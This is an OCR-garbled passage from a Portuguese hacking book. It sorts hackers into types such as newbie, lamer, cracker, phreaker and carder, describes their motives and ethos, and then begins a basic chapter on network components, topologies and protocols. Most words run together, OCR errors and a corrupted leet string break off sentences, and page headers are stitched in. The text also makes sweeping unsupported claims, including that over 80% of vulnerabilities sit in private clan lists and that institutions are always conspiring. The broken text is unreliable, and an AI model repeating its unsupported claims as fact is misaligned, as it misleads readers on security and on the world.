tepudessesermantida,masumesclarecimentonoprimeiroparágrafo(oumes- moemumdosolhosdamatéria)serianecessário. Estelivro, a contragostodosautores,simplificao termohackerparaseu significadopopulare incorreto:criminosodigital.Sabemosquenãoé do inte- ressedacomunidadehackerqueestaconfusãocontinue.Parafins didáticos usaremoso termopopular,massemprecomressalvasdentrodo textoou no rodapédapágina. 1271 ]PsicologiaHacker
  • I Universidade H4CK3R I Sopa de letrinhas: hackers, crackers, phreakers... Antesde tentarmosentrarna almade nossosqueridosrebeldes,temosde fazerumadistinçãoentreeles.Há umacertahierarquiaimpostaaosquedeci- deminiciarsuajornadapeloconhecimentodaTecnologiadaInformação.Eles costumamse agruparemsociedadessecretascomumentechamadasde clãs. Algunsagem(e gostamde agir)sozinhos.Outrosatuamsoz,inhose atribuem suasaçõesatodoumclãtãonumerosoquantofictício. Nemtodosdesejamrealmentesercriminosos.Algunsagempor motivações quevãodetorpesanobres,passandopelaestultície.Mastantoos"bons"quan- to os"maus"hackerssãorebeldese vivememum mundoque possuisuas idiossincrasias,seusfolclorese mesmosuascrendices.A estratificaçãodeles emcamadas2é umdosfolcloresdessemeio.É óbvioqueessadivisãovariade clãparaclã.Emalguns,essaclassificaçãoé aceitacomoregra,emoutrosape- nasinformalmente.Muitosa abominam,taxando-ade tolae infantil,masvez por outraacabamusandoumtermodessesemalgumcanaldeIRe. - Newbie- Todomundojáfoi,éecertamenteseráinicianteemalgumacoisa.Não importaseé sobrerelacionamentosamorosos,tecnologiasdeInternetoumecânica deaviação:todostemosumdiaemquenossentamos,pegamosumlivroepensamos "agoravouaprenderessenegócio".O newbieé o quechamamosemportuguêsde inicianteoucalouro.É apessoaquetempoucosconhecimentoseminformáticae estáávidaparaaprender.É o usuáriofinalmédiodesistemasdeinformática. - Luser- Emoposiçãoanewbie,colocamosnomesmobalaioaexpressãopejora- tivaluser,cunhadapelauniãodaspalavrasinglesasuser(usuário)e loser(perdedor). Umluser,aocontráriodonewbie,nãoqueraprendernada.Pelocontrário,quersaber sóo mínimonecessárioparaoperaro computadoretenninaratarefao maisrápido possível.Oslusersnormalmentesãousadoscomovítimasintermediáriasdoshackers parachegaraumobjetivomaior.O newbiecostumaserchato,maso luseré um perigo,principalmenteparaapaciênciadopessoaldesuportetécnic03. - Lamer- Um usuáriocomum(newbieou luser)fatalmenteaprendea usar algunsprogramas.Não sabeou nãotemcondiçãode sabercomoascoisas funcionam,masjá sabepelomenoscomooperaros aplicativosexistentesno computador.Um belo dia descobreum programinhasimplesque invadeas máquinasdosoutrose apagaseuse-mails,ou outroprograminhaqueexpulsa pessoasdassalasde chatoOu aindaumprograminhaparaalterarpáginasem sites.Esseusuárioé o quesechamadelamer,palavraderivadadelamequeem portuguêsquerdizermancoou aleijado.Um lameré caracterizadonormal- 2 Nãousamosaquio termo"castas"porqueficariasubentenditoquenãohámobilidadeentreelas,como na civilizaçãoIndianaBrãmane.Apesarde não gostaremque outroshackerssubamna hierarquia,o objetivode todohackeré exatamenteeste:aperfeiçoar-setécnica,sociale politicamente. 3 Umadescriçãode comoo vocábuloluserfoi criadopodeserencontrado(eminglês)no JargonFile: http://www.ianwnflle.comzianwnlbtmI/entry/luser.htmI.Aliás.oJargon Filepode ser usadoparaobteros signilicadosdequalquertennorelacionadoà tecnologiae ao comportamentohackerusadonestelivro. 128I Psicologia Hacker r
  • Universidade1°ano mentepelotriodeprogramasqueelesempreemprega:scan,exploite trojan. - Wannabe(ouwannabee)- A palavrafoiusadapelaprimeiraveznamídianos anos80parasereferiraostasdacantoraMadonnaquesevestiameagiamtentando imitarseuídolo.Demaneirasemelhante,oswannabeesdainformáticasãousuários comunsquealmejamserhackers.O termopodeserusadodeduasmaneiras,uma positivaeoutrapejorativa.Quandousadodeformapositiva,wannabeéo indivíduo quejá leubastantee estáprestesa entrarno quechamamosdelatvalstage(ou "entrarnocasulo").Naformapejorativa,wannabeéexatamenteotipoquedescreve- mosnosprimeirosparágrafosdestecapítulo:alguémquequerentrarnessefantasioso mundomísticochamadohackerismo,masnãotemamínimaidéiadoquesetrata. - Larva!stage- literalmente,estágiolarval,tambémchamadodespawn.Éo períodode isolamentototalpelo qualo candidatoa hackertemde passar para,no fmaldoprocesso,"nascerdenovo"comoprogramador.Notequepos- suirhabilidadeemprogramaçãoé condiçãofundamentalparaserconsiderado hacker,mesmono sentidopopulardapalavra.O estágiolarvalrestringe-seà programaçãoe podedurardeseismesesa doisanos. No fmaldesteestágio,o programadoradquireumasapiênciaquaseesotérica, emboraapossibilidadedenuncamaisvoltaraumavidanormalsejao preçoa pagar.Vocêpodeserumprogramadorcompetentesempassarpor isso.Entre- tanto,nuncachegaráa serummagodo código. - Hacker- Essapalavraandouumlongocaminhoatéchegaraqui.Originalmente (segundooJargonFile)denominavacarpinteirosquefaziammóveiscommachados - "hack"é a onomatopéiaparaessasferramentas,em inglês.Nos anos40 e 50,o vocábulohackererausadoparacategorizarradioamadorese hobbystasdemecâni- caou eletrônica.Já nadécadade60,o nomesepopularizoucomosinônimode programador(paraosquesaíramdolatvalstage)e especialistaemcomputadores, emborafossecomumutilizá-Ioparadefinirqualquerespecialista:haviamhackersde astronomia,demecânicadeautomóveisoudejardinagem,porexemplo. Devidoaojácitadodesserviçoprestadoà comunidadehackerpelosjornalis- tas,atualmenteo termotendea sereferiraoscriminososdigitais.Sãoespecia- listasquejádominamdiversastécnicasdeinvasãoe conhecemcomprofundi- dadepelomenosumsistemaoperacional.Sãoexcelentesprogramadores(tam- bémpassarampelafaselarval)e administradoresdesistemas. Mas,diferentementedoquepopularmenteseacredita,possuemumrígidocódi- godeéticaenuncausamseusconhecimentosparaomal,mesmoquesuanoçãode bemsejacontraa lei. A comunidadehackertradicionalexecracompletamente estadefinição,preferindosereferira hackersapenascomoprogramadorese es- pecialistaseminformática.Paraos hackerstradicionais,os quepraticamativida- desilegais(mesmoquemotivadaspormotivosnobres)sãochamadosdecrackers. 4 SegundooJargonFile, umacaracterísticadoswannabeséjustamenteo usoexcessivodostermosque estamosapresentandonestecapítulo.No verbetehá aindaumainteressantenotahistóricasobrea evolu- çãodo signiflcadodapalavra. 1291 ]PsicologiaHacker
  • I Universidade H4CK3R I - Cracker - Chamado de "hacker do mal" ou "hacker sem ética", normalmen- te é especializado em quebrar as travas de softwares comerciais para poder pirateá-Ios (chamados de warez-dOOdz), mas também usa seus conhecimentos para invadir sites e computadores com objetivos ilícitos, como vandalismo ou roubo. Muitas vezes os crackers são excelentes programadores e podem criar programas que infectem ou destruam completamente sistemas alheios sem deixar vestígios - os lamers normalmente usam programas criados pelos crackers. Mas a grande maioria é pouca coisa mais esperta que os lamers. A diferença é que os crackers são persistentes: conhecem e fazem uso de uma miríade de ferramentas para explorar vulnerabilidades conhecidas nos siste- mas que querem invadir. Um lamer age por impulso e não sabe o que está fazendo. Um cracker sabe o que faz e, mesmo sendo um hacker medíocre, tem noções suficientes para "se virar" caso algum imprevisto ocorra. - Phreaker - É o cracker dos sistemas telefônicos. Possui conhecimentos avançados de eletrônica e telefonia (principalmente sobre sinalização telefôni- ca) e pode fazer chamadas de qualquer local sem pagar por elas. Os métodos de fraude incluem transferir as faturas para outros números (válidos ou não), modificar telefones públicos para conseguir crédito ilimitado ou mesmo enga- nar a central telefônica para que ela não faça o billing. - Carder - É o especialista em fraudes com cartões de crédito. Sabe como conseguir listas de cartões válidos em sites que os utilizam (sites de compras, de chat pago, etc.), gerar números falsos que passam pela verificação e mesmo roubar e clonar cartões verdadeiros. - War driver - Um tipo recente de cracker. Sabe aproveitar as inúmeras vulnerabilidades das atuais redes sem fio, as chamadas wireless, e se conectar a elas. Os war drivers europeus foram mais longe e criaram o war chalking, que consiste em desenhar com giz no chão símbolos que indicam a melhor posição de conexão para outros war drivers. o quesão,comopensame comoagem (e porqueé importanteconheceressa bobagemtoda) Como já vimos, os hackers são especialistas.Os que usam seus conhecimentos para invadir e conseguir informações (com motivos ilícitos ou não) são tão especia- listasquantooshackerstradicionais,trancadosemlaboratóriosno MIT ou naUnicamp. Os hackers associadosa qualquer definição da palavra compartilham dos mesmos ideaise crenças,com variaçõeslocais, mas com um núcleo comum bem definido. Aprendizado Os hackerssãoneuróticosem suabuscapor conhecimento.Qualquerinforma- ção,por mínimaqueseja,éumajóiarara.Cadanovosistema,linguagemdeprogra- 130I Psicologia Hacker r
  • Universidade1°ano maçãooumecanismodecriptografiaéumdesafioasersuperado.Dependendode suasidéiassociaisepolíticas,o hackerpodedecidirinclusivequeosconhecimen- tosencerradosemumaredeou sistemaautônomodevemserabertosaogrande público,mesmoqueseusigiloestejaresguardadopor leis- rebeldiae repúdioa leisimoraisou injustassãoquaseobrigatóriasnessemeio.A idéiade invadirum sistemaparaolhartudo,aprendero máximopossívele sairsemtocaremnadaé amplamenteaceitamesmopelosconservadores.Essaspessoasfarãotudoo que estiveraseualcanceparabuscarsemprenovosconhecimentos. Comprometimento Umadascaracterísticascomunsa todosos hackersé o quecoloquialmente chamamosdebitolação.Elessãoaficionadosemtudoo queenvolvecomputado- res,programação,conectividadeetecnologiadainformação.Eo sãoaopontode relaxarnaaparência,deixardecomer,detomarbanhoe dedormirdurantedias paraterminarumprogramaimportanteouconseguirinvadiraquelesitefamoso. O larva!stageaquenosreferimosanteriormenteé umbomexemplodocom- prometimentoqueo hackertempor seutrabalho,sejaeleremuneradoou não (mesmohackersqueo fazemporhobbyreferem-seaohackerismocomotraba- lho).Outroexemploé o chamadohackmode.Quandoumprogramadorouana- listadesistemasentraemhackmode,todososrecursosdeseucorpoe cérebro estãoalocadosparaatarefanaqualelepretendehackear.Issoincluiumgrande poderdeconcentraçãoedeabstração.Quandoumhackerestáemhackmode,é perfeitamenteaceitávelqueelelevantea mãoparaoutraspessoasemsinalde "pare",semdizerumapalavra,impedindoassimquea linhaderaciocínioseja quebrada.Interrompero raciocíniodeumprogramadorenquantoeleestácrian- doé sinônimodeapagartodoo seutrabalho:eleteráderecomeçardozero. Outroexemplodo comprometimentodoshackersé o descuidoquantoà carreira.Muitosprogramadorese especialistasemsistemasrecusampromoções nasempresasondetrabalhamporqueissoacarretariadeslocá-Iosparaáreas administrativasegerenciais.Defato,quasequemensalmentelemosnasrevistas especializadasentrevistascomdiretoresde informáticaquedesabafamcomo repórtersuasaudadedaépocaemque"colocavamasmãosnamassa". Com pa rti Lhamento Hackersdequalquerespécie(os do MIT e os do CrimeBoyz)tambémtêm emcomumanecessidadedecompartilharconhecimentoerecursos.Issoinclui escreversoftwarecomcódigoabertoelivreacesso,divulgar100%doconheci- mentoquepossuiparaa comunidade,facilitaro acessoa essasinformaçõesa qualquerinteressadoe disponibilizar,semprequepossível,recursosde com- putaçãoe derede. Essaé umapaisagemquepodeservistapor diferentesjanelas.Os hackers tradicionais(ou seja,segundoo significadocorretoda palavra)pregamo 131 I I PsicologiaHacker
  • IUniversidadeH4CK3RI compartilhamentouniversaldoconhecimento.Hámilharesdebonsexemplos do compartilhamentouniversale irrestritode informações,comoa própria Internet,o projetoGutenberg(http://www.gutenberg.org/).o projetoGNU (http://www.gnu.org)e o Linux (http://www.linux.org). Os hackers/crackerstêmoutranoçãodecompartilhamentodo conhecimen- to.Paraeles,acooperaçãoé fundamental,masdeveserrecíproca.Issosignifica quevocêtemde compartilharprimeiroparaseraceitono clã.Sódepoisde julgadopeloclã,vocêteráacessoà basedeconhecimentodeles.Alémdasin- formaçõesbásicase daslivrementeobteníveis,procedimentosdeinvasãoe os dadosresultantesdelastambémdevemsercompartilhadosentreos membros doclã.Hackersnormalmentecolocamdiversosbackdoorsnossistemasinvadi- dose divulgaminformaçõessobreessesbackdoors5dentrodeseusclãs. Os hackersdessesegundotipo têmideais.O idealde algunsé o dinheiroe paraissonãohesitarãoemroubar,enganarefraudar.Paraoutros,hámotivações ideológicas,políticasou sociais,algumasextremamenteválidas,outrasmoral- mentequestionáveis.Outrosaindasãovândalose destroempelopuroprazer devero índioqueimar...Osquepossuemideaiselevadosnormalmenterevelam apodridãodegovernose empresase comoelasnosenganamou lesam. Édifícilcondenarqualquerumdostipos.Oshackerstradicionais,comsuavisão academicista,cooperativistae livre, nos deram,por exemplo,a Internet. Quadrilhõesdedólaresforamgastosemtecnologiapor empresasI?rivadasdu- rantetodoo séculoXX e,noentanto,o íconeemaiorlegadodatecnologiadesse períodoé algoquepessoasdomeiocientíficoofertaramdegraçaàhumanidade. Já oshackersdo segundotipo - rebelando-secontrainstituiçõese leisnem semprejustasoumoralmentecorretas- nosmostraramqueSIM,o governonos espiona;SIM,asempresasempurramprodutosdemáqualidadeaosconsumi- dores;e SIM,organizaçõesprivadas,políticase governamentaisestãoSEMPRE conspirandoparacercearnossosdireitos.Companhiase governosjogamsujo nosforçandoausarsistemashorríveis,carose malescritos,quenosespionam e caducammuitorápido."Hackear',então,seriaapenasumaformadedefesa. Ei! Issoé importante! A maioriadoshackersqueinvademsistemasde terceirosé adolescenteou adultomuitojoveme essamísticado submundodigitalfazmuitosentidopara eles.É claroquehá hackersmaisvelhosqueaindaestãomergulhadosnesse mundoàparte,masamaioriaesmagadoraé depessoasmuitojovens. Algunshackersmaismaduros- quejá superaramessafantasia- utilizam essamitologiatodacomoum escudo.Mesmoachandotudoissoumachatea- 5 Literalmente,"portade trás".É umprograminhaqueo invasordeixanamáquinainvadidaparasempre teracessoa ela,mesmoqueo administradortapea brechapelaqualo hackerentrou.É comoabrirnovos buracosparaentrarporqueo primeirofatalmenteseráconsertadopelo donodo muro. 1321 PsicologiaHacker[
  • Universidade1°ano çãoextrema("a terriflcbore",comonosdisseLord.Aztael.js),o hackermais velhose agremiaa clãs,temum pseudônimovistosoe .1)!6!74u7!1!z4nl)0 35 Esseé o problema.As listasde vulnerabilidadesde sitescomo o Security Focusou o Linux Securitypossuemapenasos problemasdescobertospelos pesquisadoresou divulgadospeloscrackers.Masnãoseengane:maisde80% dasvulnerabilidadesestãoemlistasprivadasde clãshackers,fora asoutras tantasque sãoconhecidasapenaspor indivíduos.Confiarapenasnaslistas públicasalimentadaspor gentequefoi invadidae por crackersqueliberamas vulnerabilidadesmuitoantigasnãoé umaatitudelá muitosábia. Isto posto,sevocêestálendoestelivro pensandoemsegurarmelhorsua empresa,necessariamenteterádedesceraosubmundodigitaFe serumdeles. Nãopensejamaisemseragenteduplo,entretanto:suaredenuncamaisserá deixadaempaz se descobriremquevocê deuum "copiar/colar"da listade vulnerabilidadesdelesparaseusitedesegurançapreferido. Porquealguémgastariatempoe dinheiro numainvasão? A respostaparaissogiraemtomodeumaúnicapalavra:motivo.Todohacker,seja bomoumau,possuiummotivoparafazeroquefaz.Podesertorpeouelevado,pode serporamorouódio,pornecessidade,nillismoouvingança,nãoimporta:motivohá. A buscaporconhecimentoparece,àprimeiravista,sero motivomaisimedia- to.Masnamaioriadoscasosé apenasum objetivointermediárioparaatingir algomaior.Seriapossívelescrevervárioslivrossobreosreaismotivosdoshackers. Cadaindivíduotemsuasprópriasidéias,seuódioe seusamores,suascrenças. Hápessoasque"hackeiam"pormotivospolíticos,ideológicosou ambientais.Na China,existemváriosgruposlutandoporumaaberturademocráticaeusamaInternet paraisso.O Greenpeacee gruposneonazistassãooutrosexemplos.A tecnologiaé utilizada,nessescasos,comoarmasemumaguerra,que,navisãodohacker,éválida. Outroso fazempor simplesvandalismo,ou aindapor objetivostorpes:por- nografiainfantil,vendade armase narcóticose pirataria(comfins econômi- cosou não).O servidordesuaempresaou o computadordeseuavôpodem estarsendousadoscomoreservatóriosdeimundicessemquevocêo saiba.Ou mesmocomotrampolimparaum sistemamaior. Sejapor ideal,porhobbyoucomobjetivoseconômicosilícitos,umainvasão e aprópriaexistênciadecadahackersemprepossuium motivooriginal. 6 "Digitarutilizandoescritaleet".O 133754:r!p7é umaformade escreverutilizandosímbolosalterna- tivosdisponíveisno teclado,ou seja,apenasno conjuntode caracteresASCII estendido. 7Muitosreferem-sea elecomo nomeoficialde"DigitalUnderground". 1331 ] Psicologia Hacker
  • Redes I caPítulo2 'Formi!lionsofyears,manhavelivedjust liketheanimaIs.Andthensomething happened,thatunleashedthepowerofour imagination:welearnedtotalk.' Stephen Hawking, cientista, em um comercial da AT&T. 1"Por milhões de anos,a humanidade viveu como os animais.Então algo aconteceu,que despertou o poder de nossasmentes:aprendemosa falar." Stephen Hawking gravou essa mensagem também na canção "Keep TaIking",do album The Division Bell, do grupo de rock Pink Floyd, em 1994.
  • IUniversidadeH4CK3RI Introducào I Ninguémé umailha.É impossívelimaginarque o mundomodernopossa sobreviverou mesmoexistirsemqueaspessoaspossamcomunicar-se.Talvez emcomunidadesafastadasno sertãodo Piauí um telefoneà disposiçãoou mesmoluz elétricasejamalgosupérfluo,e suafaltasejacontornáve1.Masima- ginesefaltarcomunicaçõesou energiaelétricaemumacidadecomoNova York.Milhõesmorrerão... Asredesdecomputadoressãoumaespecializaçãodasredestelefônicas,quepor suavezsãoumaperfeiçoamentodastecnologiasenvolvendoo velhote1egraf02. Hoje,hácomputadoresligadospor todaa nossavolta,e presentesemdiversas tarefasdo nossocotidiano.Bancos,empresas,mercados...Todosutilizamalgum tipoderedeparaatualizarinformaçõesdeformaeficiente,rápidae segura. Nossoobjetivoparaestecapítuloé darumanoçãomuitosuperficialdecomoas redesfuncioname quaissãoseuscomponentes.Lembremosqueemquase100% doscasosestamosacessíveisa hackersatravésdealgumarede.Mesmoqueos invasoresutilizem-sedeacessofísicoparainvadiralgumadenossasmáquinas- ou seja,possamsentar-seemnossascadeirasedigitardiretamenteemnossosteclados -, o controleposteriordenossamáquinasedará,provavelmente,atravésdealgu- marede.Os conceitosaquicontidosprovavelmentevãoacrescentarpoucoaos administradoresmaisexperientes,masservirãocomoferramentasfundamentais paraabrirasportasaosqueestãocomeçandoa entenderesseuniverso. Nemestecapítulonemtodoo livrotêmaintençãodeserumtratadocomple- to sobrecomunicaçãoe redesde computadores.Além de fugir do objetivo principal,seriacomplicadofazê-Iosemfugirdaestimativainicialde350pági- nasimpressas.Muitosbonslivrosforamescritossobreo assunto,comoo ex- celenteRedesdeComputadores,deAndrewTannembaum,ouos livroson-line de Morimotodisponíveisno Guiado Hardware(www.guiadohardware.com). E aprópriaInternetestácheiadebonstutoriaise artigossobreo assunto.Não seprenda,pois,aoexpostoaqui.vá emfrente!Sejasafo!Estude! Conceituação As tecnologiasqueevoluíramdotelégrafoe datelefoniaparatornarem-seo queconhecemoshojecomoredesdecomputadorespossuemváriosaspectos quedevemseranalisadosparaquenossosprojetosderedessejameficientese seguros.Algunsdessesaspectosbásicossão: ~ Estruturafísica:os componentesde hardware(mecânicosou elétricos) quecompõemumarede.Simplificandoa definição,podemosdizerqueé tudo aquiloquevocêpodetocar. 2 Os norte-americanosclamampara si a invençãodo telégrnfo,reabnentelevadoa cabopor SamuelMorse em 1838(e patenteadopor eleem 1840).Masna décadaanterior,em 1830,cientistasinglesesjá haviamreproduzido em laboratórioa teoriaque um misteriosocolegaescocêshaviaproposto 70anosantes,em 1750.Na opinião dos autores,foi esseescocêsanônimo (eleassinouseurelatórioapenascom asiniciais,CM) que inventou o telégrnfo. 1361 Redes1[
  • Universidade1°ano ~ Topologia:comoos computadoresestãoligadosfisicamenteentresi na rede.Cadaproblemaapresentadopedeumatopologiadiferentepararesolvê- 10,e hásituaçõesemqueváriastopologiascombinadasresolvemo problema damelhormaneirapossível. ~Protocolos:asnormasqueregemascomunicaçõesentrecomputadorese as"línguas"queelesfalamentresi. Nestecapítulo,apresentaremosum"resumão"cobrindoosprincípiosbá- sicosdastecnologiasenvolvidas.O capítulo8, RedeslI, apresentaráasredes TCP/IP - usadasempraticamentetodasasredessériashojeemdia,bemcomo na Internet- de formamaiscompleta. Estruturafísica Existemdiversostamanhose tiposderedes,maso pontodepartidapara elasé o mesmo:anecessidadedecomunicaçãoentredoisoumaiscomputado- res.As formasde conexãopodemserasmaisvariadas,desdeparesde cabos comunse de baixocusto,passandopeloscaboscoaxiaise fibrasóticasaté equipamentossemfio. Háaindaoutroscomponentesutilizadosparaexpandir a capacidadedarede.Entreessescomponentes,podemosdestacar: ~Servidor:máquinacentralresponsávelpeladisponibilizaçãoderecursos e serviçosnamaioriadasredes.Suafunçãoé agircomofontededadosparaas configuraçõesda rede,armazenamentode dadose plataformapararodar aplicativos,alémdepossuirmecanismosdeautenticaçãoe controledeacesso - evitandoassimqueusuáriosacessemrecursosnão-autorizados.Existemdi- versostiposdeservidores,suaescolhadependedanecessidadee dotamanho daredeemqueseráinstalado. ~Cliente:é a máquinaqueutilizaráa redeemquestão.É comelaqueo usuáriovaiacessarosrecursosdisponíveis,comoserviços,programase dispo- sitivosdearmazenamentono servidor,emoutrasmáquinasclienteou emdis- positivosautônomoscomofaxesou impressorasremotas. ~Cabos:sãoo meiofísicopor meiodosquaisosdadosserãotransmitidos. Existemdiversostiposdecabos,e suaescolhavaidependerdo tipoderedea serinstalada,do equipamentoqueseráutilizadoe de quantoo donodarede estádispostoa gastar. ~Interfacederede:hardwareresponsávelpelaconexãoentreasmáquinas, agindocomoportadeentradae saídaparaacessoao"espaçopúblico"darede. 1371 ] Redes1
  • IUniversidadeH4CK3RI Equipamentoadicional ~Repetidores:equipamentosqueregenerameletricamente(ouseja,no do- mínioanalógico)o sinalnosmeiosdetransmissão- normalmentecaboselétri- cos.Nãosepodeusarmuitosdelesnumamesmarede,poisdegeneramo sinalno domíniodigitale causamproblemasdesincronismoentreasinterfacesderede. ~Hubs:unidadesquefuncionamcomopontocentralde conexãoemuma redelocal.Possuemváriasportasdeconexão,cadaumadestinadaa umcom- putadordiferente.Todosos hubssãotambémrepetidores. ~Bridges:possibilitamdividiraredeemsegmentosautônomos.Comisso, consegue-sereduziro tráfegonaredetoda,bloqueandodadoscujosegmento deorigeme destinosejamosmesmose deixandopassardadoscujosegmento dedestinosejadiferentedo deorigem. ~Comutadores:tambémchamadosdeswitches,possuemdiversasportas, assimcomooshubs.Adiferençaé que,internamente,elesegmentaarede,sen- do cadaportaum segmentodiferente.A quedano tráfegoda rede,com a utilizaçãodeswitchs,é gritante. ~Roteadorese Gateways:equipamentoscapazesde encaminhardados entreduasoumaisredesdiferentes.Possueminclusiveumacertainteligência, podendoencaminharmensagensa redesquenãoestãodiretamenteligadasa eles.A Internetnadamaisé do queumagrandemalhaderoteadores. Abrangência Alémdoconhecimentodoscomponentesisoladosquecompõesumarede, é necessárioter umaidéiade comoelaspodemcobrir diferentesáreas.Os nomesde cadacategoria,emboraconsagrados,nãosãotãoimportantes.Co- nhecerosdiferentesproblemasinerentesacadaumadassituações,entretanto, é primordialparaum projetobem-sucedido. ~LAN: asfamosasredeslocais,hojechamadasdedepartamentais.Os equi- pamentosencontram-segeograficamenteemummesmolocal,e o númerode máquinasé pequeno.Nãohámuitosproblemasde interconexão. ~MAN: visacobrirumaáreaurbanacomaproximadamente30kmderaio. Normalmenteé compostapelainterligaçãode todasasredeslocaisde uma mesmaempresa,na mesmaregiãometropolitana. ~WAN: redescapazesdealcançargrandesdistâncias.Seusinalé reforçado sempreparaquenãohajaperdanosdadosduranteatransmissãodosmesmos. No casoderedesprivadas,umaWANé ainterligaçãodasMANsdeumamesma instituiçãoou grupode instituições.Emsetratantode redespúblicas,aWAN maisconhecidadomundoé a Internet. J8 I Redes 1 r
  • TopoLogias Universidade1°ano Quandofalamosemtopologiasdeumarede,estamosnosreferindoaolayout lógicodamesma.Háváriasformasnasquaispodemosorganizarainterligaçãoentre cadaumdosnósdarede(cadapontodeconexãocomaredepodeserchamadode nó,independentementedafunçãodoequipamentorepresentadoporele). Háquatrotopologiasquechamamosdecanônicas:ponto-a-ponto,barramento, anelou estrela.A escolhadatopologiaapropriadaparaumadeterminadaapli- caçãodependedediversosfatores,sendoestabilidade,velocidade,confiabilidade e custoos maisimportantes.A distânciaentreos nós e o tamanhoda rede tambémsãofatorespreponderantes. Principais topoLogias ~Ponto-a-ponto:tambémconhecidacomolinear,temcomocaracterística a disposiçãoemsériedosequipamentos,fazendocomque os dadospassem por todasasestaçõesqueestiveremconectadas,masapenasareceptorapode- rá reconhecê-Ios. ~ Barramento:umaextrapolaçãodasredesponto-a-ponto.Aliás,muitas redesponto-a-pontoutilizam-sedebarramentos.Nestemodelodeconexão,todos os computadoressãoligadosemummesmobarramentofisicodedados.Ape- sarde os dadosnãopassarempor dentrode cadaum dosnós,apenasuma máquinapode"escrever"no barramentonumdadomomento.Todasasoutras "escutam"e recolhemparasi osdadosdestinadosa elas. 1391 ] Redes1
  • IUniversidadeH4CK3RI ~Anel:essatopologia é constituídapor um cir- cuitofechado.Asredesco- nhecidascomoTokenRing (criadaspelaIBM) sãoas maisfamosas.Quandofo- ram criadas, ofereciam umataxade transmissão bemmaiselevadado que nasredeslineares,masa adiçãodeumnúmeromui- to grandedemáquinasno anel causavaproblemas de atraso,ruídoe sincro- nização.Por issomesmo, essatopologia caiu em desusopara redeslocais. EmWANs,pelocontrário,comosãopoucosnós(umdecadaredelocalquese querinterligar),a topologiaemanelé a maisindicada. ~Estrela:nessatopologia,todaainformaçãodevepassarobrigatoriamentepor umacentralinteligente,quedeveconectarcadaestaçãodaredeedistribuiro tráfego paraqueumaestaçãonãoreceba,indevidamente,dadosdestinadosàsoutras. ATENÇÃO:umaredelocalqueuseumhubnãoé consideradacomoestrela!!! Umhubé umdispositivoquepossui,internamente,umbarramento!O tráfego queentraporumaportadohubé destinadoatodasasoutrasportas.Umarede queusaswitches,entretanto,éumexemploperfeitodeconfiguraçãoemestrela. Outro exemplo são as controladorasdeterminais "burros"dosmainframese minicomputadores. A vantagemdas imple- mentaçõespor estrelaé a grandeespecializaçãodo tráfego.Apenasdadosdes- tinadosàquelenó sãoen- viadosa ele.Os custosde implementaçãoe opera- ção,entretanto,sãoeleva- dos,e atualmenteconfigu- raçõesemestrelasãousa- das maispara interligar segmentosderededoque nós individuais. 40 I Redes1r
  • Universidade1°ano Protocolos Extraídodo Novo DicionárioAurélio de LínguaPortuguesa: protocolo.[Dogr.protókollon,'primeirafolhacoladaaosrolosdepapiro,ena qualseescreviaumresumodoconteúdodomanuscrito',pelolat.medoprotocollu e pelofr.protocole.]S.m.1.Registrodosatospúblicos.2.Registrodasaudiências nostribunais.3.Registrodeumaconferênciaou deliberaçãodiplomática.4. For- mulárioreguladordeatospúblicos.5.Convençãointernacional.6. livro deregis- trodacorrespondênciadeumafirma,repartiçãopública,etc.7. Bras.Cartãoou papeletaemqueseanotamadataeo númerodeordemcomquefoiregistradono livrodeprotocolo(6)umrequerimento,equeservecomorecibo. 8. Fig. Forma- lidade,etiqueta,cerimonial.9. Inform.Protocolodecomunicação(q.v.).Proto- colodecomunicação.10. Inform.Conjuntoderegras,padrõese especificações técnicasqueregulama transmissãodedadosentrecomputadorespor meiode programasespecíficos,permitindoadetecçãoe correçãodeerros;protocolode transmissãodedados.[Tb.sedizapenasprotocolo.]Protocolodetransmissãode dados.11.Inform.Protocolodecomunicação(q.v.). A palavraprotocolopossui,então,diversossignificados,tantona língua portuguesaquantonalínguaaceitacomouniversal,o inglês.Trêsdossignifica- doschamama atenção: 3.Registrodeumaconferênciaoudeliberaçãodiplomática. S.Convençãointernacional. S. Fig.Formalidade,etiqueta,cerimonial. O vocábulotevesuaorigemno gregoparadesignara folhaderesumodo documento (protos =primeiro,kollon =folha),masseuusofoi amplamentedifun- didonaesferadiplomática;emumprimeiromomento,comoosdocumentosque registravamquaisasatitudese osprocedimentosquedeveriamserseguidosem encontrosouquerelascomoutrasnaçõese,posteriormente,comosinônimodes- sesprocedimentos.A definição3doverbeteilustrao sentidodiplomáticooriginal dapalavra,adefmição5mostrao conceitomoderno.Emsentidofigurado,aspes- soaspassarama considerarqualquerprocedimento-padrão(sejaelediplomático ounão)comoprotocolo- exatamenteo quenosdizadefinição8 doverbete. Quandoasprimeirasredesdecomputadorescomeçarama sairdo papel e serexperimentadasnoslaboratóriosdetecnologia(jánadécadade 50),ha- viaa necessidadede criarummecanismoparaquecadaequipamentoligado nelapudessesecomunicarcomosdemais,mesmoquefossemequipamentos diferentes.Foramcriadosentãomensagens-padrão,e seduasmáquinasquises- semcomunicar-sedeveriamambasconhecertaismensagens.Pelasimilaridade deidéias(e parafazerumabrincadeiracoma defmiçãodiplomática),osenge- nheirosde entãoapelidaramessasmensagens-padrãodeprotocolo. Observeasdefmições9, 10e 11.Seprestarmosatenção,veremosquenada maissãodoqueextrapolaçõesde5e8.Vejamos,então,algunsdosprotocolosde redesmaisconhecidos,suasfunçõese suasparticularidades. 141I ] Redes1
  • I Universidade H4CK3R I Como funcionam Os protocolos são, então, como "frases" que uma interface de rede tem de dizer para poder se comunicar com as outras. Como a expressão "as outras" da frase anterior está no plural, deve haver alguma forma de todas as máquinas conectadas na mesma rede conseguirem, ao "ouvir" uma mensagem, entender se é destinada a elas ou não. A primeira providência que um protocolo de redes deve tomar é declarar de qual protocolo estamos falando. Deve haver,em algum lugar no início da mensa- gem, um indicador de protocolo. Lembrem-se: nem sempre existe apenas um protocolo trafegando pela rede, então faz-se necessário identificar a todos. Considerando que uma mensagem (ou pacote, que é o termo técnico correto para essa entidade) em uma rede é um conjunto de dados originados em um nó e destinados a outro, e que esses dados serão transmitidos serialmente na for- ma de bits, é coerente afirmar que teremos, no cabo da rede, um "trem" de pulsos elétricos seqüenciais. Para fms didáticos, vamos "montar" um pacote usando um protocolo genéri- co e fictício, criado por nós. Já sabemos que nossa mensagem tem de começar com um identificador de protocolo, então teremos alguma coisa assim: Protocot ID Umadascoisasqueo protocolodevedefinir,alémdaposiçãoonde está cadaumdosdados,é o tamanho deles. Assim,emnossoprotocolofictício definimosque o identificadorde protocoloestána primeiraposição.Mas devemosque definir tambémquantosbits serãousadospara identificá-Io. 